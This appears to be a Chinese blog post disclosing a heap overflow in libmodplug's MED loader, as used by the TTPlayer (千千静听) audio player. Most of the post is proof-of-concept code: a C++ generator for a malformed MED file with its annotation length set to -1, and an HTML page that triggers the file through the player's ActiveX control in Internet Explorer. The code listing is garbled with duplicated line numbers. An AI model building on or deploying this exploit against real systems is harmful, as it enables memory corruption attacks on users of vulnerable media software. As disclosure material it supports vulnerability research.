千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查 文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。 现在采用libmod 软件很多,都应该存在此问题。
下面是构造问题文件的代码,最后是使用最新版本千千静听的 ax 写的 poc.
C++代码
11. /*22. libmodplug v0.833. load_med.cpp44. BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)55. line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);66. */78. /*89. author: dummy910. e-mail: dummyz@126.com1012. date: 2008/02/251113. */1215. #include <windows.h>1316. #include <stdio.h>1418. #pragma pack(1)1520. typedef struct tagMEDMODULEHEADER150 collapsed lines
1621. {1722. DWORD id; // MMD1-MMD31823. DWORD modlen; // Size of file1924. DWORD song; // Position in file for this song2025. WORD psecnum;2126. WORD pseq;2227. DWORD blockarr; // Position in file for blocks2328. DWORD mmdflags;2429. DWORD smplarr; // Position in file for samples2530. DWORD reserved;2631. DWORD expdata; // Absolute offset in file for ExpData (0 if not present)2732. DWORD reserved2;2833. WORD pstate;2934. WORD pblock;3035. WORD pline;3136. WORD pseqnum;3237. WORD actplayline;3338. BYTE counter;3439. BYTE extra_songs; // # of songs - 13540. } MEDMODULEHEADER;3642. typedef struct tagMMD0SAMPLE3743. {3844. WORD rep, replen;3945. BYTE midich;4046. BYTE midipreset;4147. BYTE svol;4248. signed char strans;4349. } MMD0SAMPLE;4451. // MMD0/MMD1 song header4552. typedef struct tagMMD0SONGHEADER4653. {4754. MMD0SAMPLE sample[63];4855. WORD numblocks; // # of blocks4956. WORD songlen; // # of entries used in playseq5057. BYTE playseq[256]; // Play sequence5158. WORD deftempo; // BPM tempo5259. signed char playtransp; // Play transpose5360. BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song5461. BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on5562. BYTE tempo2; // tempo TPL5663. BYTE trkvol[16]; // track volumes5764. BYTE mastervol; // master volume5865. BYTE numsamples; // # of samples (max=63)5966. } MMD0SONGHEADER;6068. typedef struct tagMMD0EXP6169. {6270. DWORD nextmod; // File offset of next Hdr6371. DWORD exp_smp; // Pointer to extra instrument data6472. WORD s_ext_entries; // Number of extra instrument entries6573. WORD s_ext_entrsz; // Size of extra instrument data6674. DWORD annotxt;6775. DWORD annolen;6876. DWORD iinfo; // Instrument names6977. WORD i_ext_entries;7078. WORD i_ext_entrsz;7179. DWORD jumpmask;7280. DWORD rgbtable;7381. BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)7482. DWORD n_info;7583. DWORD songname; // Song name7684. DWORD songnamelen;7785. DWORD dumps;7886. DWORD mmdinfo;7987. DWORD mmdrexx;8088. DWORD mmdcmd3x;8189. DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists8290. DWORD effectinfo_ofs; // ptr to group ptrs8391. DWORD tag_end;8492. } MMD0EXP;8594. #pragma pack()8696. // Byte swapping functions from the GNU C Library and libsdl8798. /* Swap bytes in 16 bit value. */8899. #ifdef __GNUC__89100. # define bswap_16(x)90101. (__extension__91102. ({ unsigned short int __bsx = (x);92103. ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))93104. #else94105. static __inline unsigned short int95106. bswap_16 (unsigned short int __bsx)96107. {97108. return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));98109. }99110. #endif100112. /* Swap bytes in 32 bit value. */101113. #ifdef __GNUC__102114. # define bswap_32(x)103115. (__extension__104116. ({ unsigned int __bsx = (x);105117. ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |106118. (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))107119. #else108120. static __inline unsigned int109121. bswap_32 (unsigned int __bsx)110122. {111123. return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |112124. (((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));113125. }114126. #endif115128. #ifdef WORDS_BIGENDIAN116129. #define bswapLE16(X) bswap_16(X)117130. #define bswapLE32(X) bswap_32(X)118131. #define bswapBE16(X) (X)119132. #define bswapBE32(X) (X)120133. #else121134. #define bswapLE16(X) (X)122135. #define bswapLE32(X) (X)123136. #define bswapBE16(X) bswap_16(X)124137. #define bswapBE32(X) bswap_32(X)125138. #endif126140. int main()127141. {128142. MEDMODULEHEADER mmh;129143. MMD0SONGHEADER msh;130144. MMD0EXP mex;131145. FILE* file;132146. long p;133148. memset(&mmh, 0, sizeof (mmh));134149. memset(&msh, 0, sizeof (msh));135150. memset(&mex, 0, sizeof (mex));136152. p = 0;137154. mmh.id = 0x30444D4D; // version = '0'138156. p += sizeof (MEDMODULEHEADER);139157. mmh.song = bswapBE32(p);140159. p += sizeof (MMD0SONGHEADER);141160. mmh.expdata = bswapBE32(p);142162. p += sizeof (MMD0EXP);143163. mex.annolen = bswapBE32(-1);144164. mex.annotxt = bswapBE32(p);145166. file = fopen("test.s3m", "wb+");146167. if ( file == NULL )147168. {148169. printf("create file failed!149 ");150170. }151171. else152172. {153173. fwrite(&mmh, 1, sizeof (mmh), file);154174. fwrite(&msh, 1, sizeof (msh), file);155175. fwrite(&mex, 1, sizeof (mex), file);156177. while ( ftell(file) < 0x1000 )157178. {158179. fwrite("AAAAAAAAAAAAAAAAAAAA", 1, 16, file);159180. }160182. fclose(file);161184. printf("successed!162 ");163185. }164187. return 0;165188. }
最新的千千静听提供了 ax, 下面是在 Ie 中触发此漏洞。会导致 ie 崩溃。
XML/HTML代码
11. <html>22. <body>33. <OBJECT ID="ttp" WIDTH="250" HEIGHT="400" CLASSID="CLSID:89AE5F82-410A-4040-9387-68D1144EFD03">44. </OBJECT>55. <INPUT TYPE="button" NAME="test" CAPTION="test" onClick="Test()">66. <SCRIPT LANGUAGE="JavaScript">77. <!--88. function Test()99. {1010. var controls = ttp.controls;1111. ttp.URL = "http:\127.0.0.1\test.s3m";1212. controls.play();1313. }1414. //-->1515. </SCRIPT>2 collapsed lines
1616. </body>1717. </html>
From:7jdg’s blog